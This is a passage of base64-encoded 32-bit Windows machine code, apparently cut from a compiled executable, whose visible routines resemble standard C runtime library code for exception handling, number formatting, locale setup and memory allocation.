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rwovw0f5qVf809egmARD/dQjonAAAAIPEDIXAdBN5BY1e/+sDjX4BO/t+0IPI/+sHiwT17CYBEF9eW13DVYvsg30IAHQd/3UI6KH///9ZhcB4ED3kAAAAcwmLBMXIHwEQXcMzwF3DVYvsoRCiARAzBQhwARB0GzPJUVFR/3Uc/3UY/3UU/3UQ/3UM/3UI/9Bdw/91HP91GP91FP91EP91DP91COiU////WVD/FfwAARBdw1WL7FaLdRAzwIX2dF6LTQxTV4t9CGpBW2paWiv5iVUQ6wNqWloPtwQPZjvDcg1mO8J3CIPAIA+30OsCi9APtwFmO8NyDGY7RRB3BoPAIA+3wIPBAk50CmaF0nQFZjvQdMEPt8gPt8JfK8FbXl3DzMzMzMzMzMzMzMzMzMyAeg4FdRFmi51c////gM8CgOf+sz/rBGa7PxNmiZ1e////2a1e////u2xAARDZ5YmVbP///5vdvWD////GhXD///8Am4qNYf///9Dh0PnQwYrBJA/XD77AgeEEBAAAi9oD2IPDEP8jgHoOBXURZoudXP///4DPAoDn/rM/6wRmuz8TZomdXv///9mtXv///7tsQAEQ2eWJlWz///+b3b1g////xoVw////ANnJio1h////2eWb3b1g////2cmKrWH////Q5dD90MWKxSQP14rg0OHQ+dDBisEkD9fQ5NDkCsQPvsCB4QQEAACL2gPYg8MQ/yPowQAAANnJ3djD6LcAAADr9t3Y3djZ7sPd2N3Y2ejD271i////261i////9oVp////QHQIxoVw////B8PGhXD///8B3AVkQAEQw9nJ271i////261i////9oVp////QHQJxoVw////B+sHxoVw////Ad7Bw9u9Yv///9utYv////aFaf///0B0INnJ271i////261i////9oVp////QHQJxoVw////B+sHxoVw////Ad7Bw93Y3djbLVBAARCAvXD///8AfwfGhXD///8BCsnDCsl0Atngw8zMzMzMzFWL7IPE4IlF4ItFGIlF8ItFHIlF9OsJVYvsg8TgiUXg3V34iU3ki0UQi00UiUXoiU3sjUUIjU3gUFFS6Bw0AACDxAzdRfhmgX0IfwJ0A9ltCMnDzMzMzMzMzMzMzMzMzNnA2fzc4dnJ2eDZ8Nno3sHZ/d3Zw4tUJASB4gADAACDyn9miVQkBtlsJAbDqQAACAB0BrgHAAAAw9wFgEABELgBAAAAw4tCBCUAAPB/PQAA8H90A90Cw4tCBIPsCg0AAP9/iUQkBotCBIsKD6TIC8HhC4lEJASJDCTbLCSDxAqpAAAAAItCBMOLRCQIJQAA8H89AADwf3QBw4tEJAjDZoE8JH8CdAPZLCRaw2aLBCRmPX8CdB5mg+AgdBWb3+Bmg+AgdAy4CAAAAOjp/v//WsPZLCRaw4PsCN0UJItEJASDxAglAADwf+sUg+wI3RQki0QkBIPECCUAAPB/dD09AADwf3RfZosEJGY9fwJ0KmaD4CB1IZvf4GaD4CB0GLgIAAAAg/oddAfoi/7//1rD6G3+//9aw9ksJFrD3QWsQAEQ2cnZ/d3Z2cDZ4dwdnEABEJvf4J64BAAAAHPH3A28QAEQ67/dBaRAARDZydn93dnZwNnh3B2UQAEQm9/gnrgDAAAAdp7cDbRAARDrljPAw8yLVCQMi0wkBIXSdH8PtkQkCA+6JbyGARABcw2LTCQMV4t8JAjzqutdi1QkDIH6gAAAAHwOD7olEHABEAEPgjMzAABXi/mD+gRyMffZg+EDdAwr0YgHg8cBg+kBdfaLyMHgCAPBi8jB4BADwYvKg+IDwekCdAbzq4XSdAqIB4PHAYPqAXX2i0QkCF/Di0QkBMOhhKEBEFZqFF6FwHUHuAACAADrBjvGfQeLxqOEoQEQagRQ6Fqt//+jgKEBEFlZhcB1HmoEVok1hKEBEOhBrf//o4ChARBZWYXAdQVqGlhewzPSucB5ARCJDAKDwSCNUgSB+UB8ARB9B6GAoQEQ6+gzwF7D6D4wAACAPeSGARAAdAXoJzMAAP81gKEBEOgysP//gyWAoQEQAFnDuMB5ARDDVYvsVot1CLnAeQEQO/FyIoH+IHwBEHcai8YrwcH4BYPAEFDoDun//4FODACAAABZ6wqNRiBQ/xXYAAEQXl3DVYvsi0UIg/gUfRaDwBBQ6OPo//+LRQxZgUgMAIAAAF3Di0UMg8AgUP8V2AABEF3DVYvsi0UIucB5ARA7wXIfPSB8ARB3GIFgDP9///8rwcH4BYPAEFDoBur//1ldw4PAIFD/FdwAARBdw1WL7ItNCItFDIP5FH0TgWAM/3///41BEFDo2en//1ldw4PAIFD/FdwAARBdw1WL7ItFCIXAdRXoD77//8cAFgAAAOh/uv//g8j/XcOLQBBdw1WL7ItNCIP5/nUN6Oq9///HAAkAAADrOIXJeCQ7DSSiARBzHIvBg+EfwfgFweEGiwSFEIcBEA++RAgEg+BAXcPotb3//8cACQAAAOgluv//M8Bdw2oQaLhgARDoZqz//zPbiV3ki3UIg/7+dRfoVL3//4kY6IG9///HAAkAAADptgAAAIX2D4iXAAAAOzUkogEQD4OLAAAAi97B+wWL/oPnH8HnBosEnRCHARAPvkQ4BIPgAXUK6Au9//+DIADralbo6jEAAFmDZfwAiwSdEIcBEPZEOAQBdBP/dRD/dQxW6F4AAACDxAyL+OsW6Am9///HAAkAAADoyrz//4MgAIPP/4l95MdF/P7////oCgAAAIvH6yiLdQiLfeRW6AozAABZw+ievP//iRjoy7z//8cACQAAAO